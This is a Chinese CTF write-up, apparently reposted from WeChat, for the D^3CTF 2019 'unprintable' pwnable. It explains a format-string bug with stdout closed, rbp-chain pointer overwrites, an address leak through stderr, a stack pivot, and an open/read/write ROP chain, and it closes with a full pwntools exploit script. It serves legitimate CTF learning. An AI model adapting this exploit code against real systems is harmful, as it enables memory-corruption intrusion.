Challenge
-
题目:unprintable
-
类型:pwnable
-
来源:D^3CTF 2019 Quals
-
环境:Ubuntu 18.04
-
难度:Medium
Analysis
照旧先看一下保护,emmm。
checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : ENABLED
RELRO : FULL
载入IDA查看,Sandbox_Loading限制了execve,就是不能getshell了呗。然后menu里先给了stack的地址,有n次触发漏洞函数。同时,关闭了stdout,这意味着我们不再能leak。
void __cdecl menu()
{
char *a; // [rsp+8h] [rbp-8h]
a = buf;
puts("welcome to d^3CTF!");
printf("here is my gift: %pn", &a);
puts("may you enjoy my printf test!");
close(1);
while ( strncmp(buf, "d^3CTF", 6uLL) && time )
vuln();
}
void __cdecl vuln()
{
read(0, buf, 0x12CuLL);
printf(buf);
--time;
}
输入在bss段,常规的fsb利用技巧似乎不太行。既然有0x64次,我们接下来考虑写什么。注意到0x7fffffffe350有一个很好的链,这是rbp链,它存在多级指针,可以利用这个链来帮助我们改写栈上的内容,而0x7fffffffe368包含bss段的指针。因此我们可以通过0008指针写0040的最低位为0x68,进而通过0040指针写0032的最低位为0x20。
0008| 0x7fffffffe350 --> 0x7fffffffe370 --> 0x7fffffffe390 --> 0x555555554b60 (push r15)
0016| 0x7fffffffe358 --> 0x555555554afb (mov edx,0x6)
..
0032| 0x7fffffffe368 --> 0x555555756060 ("%104c%6$hhn")
0040| 0x7fffffffe370 --> 0x7fffffffe390 --> 0x555555554b60 (push r15)
0048| 0x7fffffffe378 --> 0x555555554b51 (mov eax,0x0)
0056| 0x7fffffffe380 --> 0x7fffffffe478 --> 0x7fffffffe6dc ("./unprintableV")
为什么改bss的那个指针,因为我们想把它指向stdout,并把它的最低两个字节改为stderr的地址,那么我们通过stderr就可以泄漏了。
0x555555756020: 0x00007ffff7dd0760 0x0000000000000000
0x555555756030: 0x00007ffff7dcfa00 0x0000000000000000
0x555555756040: 0x00007ffff7dd0680 0x0000000000000000
接下来,就可以leak了,我们很容易就可以把code base和libc base泄漏出来。事实上,我们利用上面提到的rbp链可以任意改写栈上的内容了,为了简单一些,我们可以逐字节写menu的返回地址,改成pop rsp,那么0056位置就要改成bss,做一个栈迁移,迁到我们输入的payload地方。
0048| 0x7fffffffe378 --> 0x555555554b51 (mov eax,0x0)
0056| 0x7fffffffe380 --> 0x7fffffffe478 --> 0x7fffffffe6dc ("./unprintableV")
接下来就是普通的rop了,可以通过mprotect改写bss的权限,也可以直接open、read、write读文件了。
Solution
完整利用脚本如下。
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
r = process('./unprintableV')
r.recvuntil('here is my gift: ')
stack = int(r.recv(14), 16)
log.info(hex(stack))
def write_byte(off, val):
p = ''
p += '%{}c%6$hhn'.format(off)
r.send(p + 'x00')
sleep(0.1)
p = ''
p += '%{}c%10$hhn'.format(val)
r.send(p + 'x00')
sleep(0.1)
write_byte(stack&0xff, 0x20)
p = ''
p += '%{}c%9$hn'.format(0x680)
r.send(p + 'x00')
sleep(0.1)
r.sendline('%p.%3$p' + 'x00'*0x30)
r.recvuntil('0x')
code = int(r.recv(12), 16) - 0x202060
log.info(hex(code))
r.recvuntil('0x')
libc = int(r.recv(12), 16) - 0x110081
log.info(hex(libc))
write_byte((stack + 0x18)&0xff, (code + 0x202060) & 0xff)
write_byte((stack + 0x19)&0xff, (code + 0x202060) >> 8 & 0xff)
write_byte((stack + 0x1a)&0xff, (code + 0x202060) >> 16 & 0xff)
write_byte((stack + 0x1b)&0xff, (code + 0x202060) >> 24 & 0xff)
write_byte((stack + 0x1c)&0xff, (code + 0x202060) >> 32 & 0xff)
write_byte((stack + 0x1d)&0xff, (code + 0x202060) >> 40 & 0xff)
write_byte((stack + 0x10)&0xff, 0xbd)
p = ''
p += 'd^3CTF'
p = p.ljust(0x18, 'x00')
p += p64(libc + 0x2155f) # pop rdi
p += p64(code + 0x202060 + 0x120)
p += p64(libc + 0x001306d9) # pop rdx; pop rsi
p += p64(0)
p += p64(0)
p += p64(libc + 0x10FC40) # open
p += p64(libc + 0x2155f) # pop rdi
p += p64(1)
p += p64(libc + 0x001306d9) # pop rdx; pop rsi
p += p64(0x40)
p += p64(code + 0x202200)
p += p64(libc + 0x110070) # read
p += p64(libc + 0x2155f) # pop rdi
p += p64(2)
p += p64(libc + 0x001306d9) # pop rdx; pop rsi
p += p64(0x40)
p += p64(code + 0x202200)
p += p64(libc + 0x110140) # write
p = p.ljust(0x120, 'x00')
p += '/flagx00'
assert len(p) <= 0x12c
r.send(p)
r.recvuntil('d^3CTF')
r.interactive()
原文始发于微信公众号(pwnable):unprintableV
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论